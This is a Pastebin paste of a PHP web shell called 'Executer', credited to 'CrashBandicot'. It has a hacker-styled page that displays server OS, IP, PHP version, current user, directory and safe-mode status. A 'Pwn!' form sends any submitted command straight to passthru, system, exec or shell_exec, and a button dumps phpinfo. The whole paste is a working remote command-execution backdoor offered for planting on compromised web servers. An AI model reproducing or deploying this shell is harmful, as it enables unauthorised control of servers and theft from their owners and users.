CrashBandicot

Executer

Nov 5th, 2014
4,526
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.74 KB | None | 0 0
  1. <html><head></head><body>
  2. <SCRIPT LANGUAGE="JavaScript">
  3. var rev = "fwd";
  4. function titlebar(val)
  5. {
  6. var msg = "./Executer";
  7. var res = " ";
  8. var speed = 100;
  9. var pos = val;
  10. msg = "./Executer";
  11. var le = msg.length;
  12. if(rev == "fwd"){
  13. if(pos < le){
  14. pos = pos+1;
  15. scroll = msg.substr(0,pos);
  16. document.title = scroll;
  17. timer = window.setTimeout("titlebar("+pos+")",speed);}
  18. else{
  19. rev = "bwd";
  20. timer = window.setTimeout("titlebar("+pos+")",speed);}}
  21. else{
  22. if(pos > 0){
  23. pos = pos-1;
  24. var ale = le-pos;
  25. scrol = msg.substr(ale,le);
  26. document.title = scrol;
  27. timer = window.setTimeout("titlebar("+pos+")",speed);}
  28. else{
  29. rev = "fwd";
  30. timer = window.setTimeout("titlebar("+pos+")",speed);
  31. }}}
  32. titlebar(0);
  33. </script>
  34.  
  35. <style>
  36.     body,input,table,select{background: black; font-family:Verdana,tahoma; color: #008000; font-size:11px; }
  37.     a:link,a:active,a:visited{text-decoration: none;color: red;}
  38.     a:hover {text-decoration: underline; color: red;}
  39.     table,td,tr,#gg{ border-style:solid; text-decoration:bold; }
  40.     tr:hover,td:hover{background-color: #FFFFCC; color:green;}
  41. .box {border: 3px solid white; box-shadow:0px 7px 9px #FFF; width:250px; height:310px;}
  42.     .oo:hover{background-color: black; color:white;}
  43.     </style>
  44.     <form method="POST" action="">
  45.     <h2><center>~ Executer ~</h2></center><center><div class="box">
  46.     <strong><h4><u>OS</u> :</strong> <i><td style="width:60px; height:20px;"><?php echo OS(); ?></td></i></h4>
  47.     <strong><h4><u>IP</u> :</strong> <i><td style="width:60px; height:20px;"><?php echo $_SERVER['SERVER_ADDR']; ?></td></i></h4>
  48.     <strong><h4><u>PHP Version</u> :</strong> <i><td style="width:60px; height:20px;"><?php echo phpversion(); ?></td></i></h4>
  49.     <strong><h4><u>User :</u> :</strong> <i><td style="width:60px; height:20px;"><?php echo whoami(); ?></td></i></h4>
  50.     <strong><h4><u>Dir</u> :</strong> <i><td style="width:60px; height:20px;"><?php echo getcwd(); ?></td></i></h4>
  51.     <strong><h4><u>SafeMode</u> :</strong><i><td style="width:60px; height:20px;"> <?php echo SM(); ?></td></i><br><br></h4>
  52.     <input type="submit" style="width:60px; height:20px;" name="info" value="phpinfo"/>
  53.     <input type="submit" style="width:60px; height:20px;" name="about" value="About"/>
  54.     <strong><h4><u>Cmd</u> :</strong>  <input type="text" name="cmd" value="id" /><br><input type="submit" name="submit" style="width:60px; height:20px;" value="Pwn!"/></h4><br></center></div>
  55.    </form>
  56. </body>
  57. </html>
  58.  
  59. <?php
  60. if($_POST['submit']){
  61.     if(function_exists('passthru')){$cmd = passthru($_POST['cmd']);}
  62.     elseif(function_exists('system') && !$cmd){$cmd= system($_POST['cmd']); }
  63.     elseif(function_exists('exec') && !$cmd){exec($_POST['cmd'],$zeb);$cmd=join("\n",$zeb);}
  64.     elseif(function_exists('shell_exec') && !$cmd){$cmd=shell_exec($_POST['cmd']);}
  65.     elseif($cmd){return $cmd;}
  66. } elseif($_POST['info']) {
  67.     echo "<style>
  68.    body,input,table,select{background: black; font-family:Verdana,tahoma; color: #008000; font-size:11px; }</style><pre>".phpinfo()."</pre>";
  69. } elseif($_POST['about']) { echo "<script>alert('Coder : CrashBandicot')</script>"; }
  70. function SM()
  71. {
  72.     $safe_mode = ini_get("safe_mode");
  73.     if (!$safe_mode){$safe_mode = 'OFF';}
  74.     else {$safe_mode = 'ON';}
  75.     return $safe_mode;
  76. }
  77. function whoami()
  78. {
  79.     if(function_exists('passthru')){$who = passthru("whoami");}
  80.     elseif(function_exists('system') && !$who){$who= system("whoami"); }
  81.     elseif(function_exists('exec') && !$who){exec("whoami",$zebi);$who=join("\n",$zebi);}
  82.     elseif(function_exists('shell_exec') && !$who){$who=shell_exec("whoami");}
  83.     elseif($who){return $who;}
  84. }
  85. function OS() {
  86. if(PHP_OS == "WINNT"){ $os = "Windows"; } elseif(PHP_OS == "Linux"){ $os = "Linux"; } elseif(PHP_OS == "FreeBSD"){ $os = "FreeBSD"; }
  87. return $os;
  88. }
  89. ?>
Advertisement
Add Comment
Please, Sign In to add comment